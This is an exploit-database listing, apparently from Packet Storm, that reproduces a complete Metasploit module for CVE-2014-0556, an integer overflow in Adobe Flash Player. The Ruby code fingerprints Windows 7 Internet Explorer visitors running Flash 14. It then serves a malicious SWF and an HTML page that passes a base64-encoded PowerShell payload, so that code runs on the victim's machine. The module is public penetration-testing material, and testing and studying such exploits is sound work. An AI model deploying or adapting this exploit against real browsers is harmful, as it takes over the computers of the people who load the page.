Adobe Flash Player copyPixelsToByteArray Integer Overflow

2015-04-1900:00:00

Chris Evans

packetstormsecurity.com

0.974 High

EPSS

Percentile

99.9%

JSON

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow',  
'Description' => %q{  
This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs  
in the copyPixelsToByteArray method from the BitmapData object. The position field of the  
destination ByteArray can be used to cause an integer overflow and write contents out of  
the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit),  
IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit  
'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket  
'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it  
'juan vazquez' # msf module  
],  
'References' =>  
[  
['CVE', '2014-0556'],  
['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'],  
['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'],  
['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'],  
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'],  
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html']  
],  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Platform' => 'win',  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:os_name => OperatingSystems::Match::WINDOWS_7,  
:ua_name => Msf::HttpClients::IE,  
:flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') },  
:arch => ARCH_X86  
},  
'Targets' =>  
[  
[ 'Automatic', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Sep 23 2014',  
'DefaultTarget' => 0))  
end  
  
def exploit  
@swf = create_swf  
super  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Request: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status('Sending SWF...')  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})  
return  
end  
  
print_status('Sending HTML...')  
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})  
end  
  
def exploit_template(cli, target_info)  
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"  
target_payload = get_payload(cli, target_info)  
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})  
b64_payload = Rex::Text.encode_base64(psh_payload)  
  
html_template = %Q|<html>  
<body>  
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />  
<param name="movie" value="<%=swf_random%>" />  
<param name="allowScriptAccess" value="always" />  
<param name="FlashVars" value="sh=<%=b64_payload%>" />  
<param name="Play" value="true" />  
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>  
</object>  
</body>  
</html>  
|  
  
return html_template, binding()  
end  
  
def create_swf  
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf')  
swf = ::File.open(path, 'rb') { |f| swf = f.read }  
  
swf  
end  
  
end  
`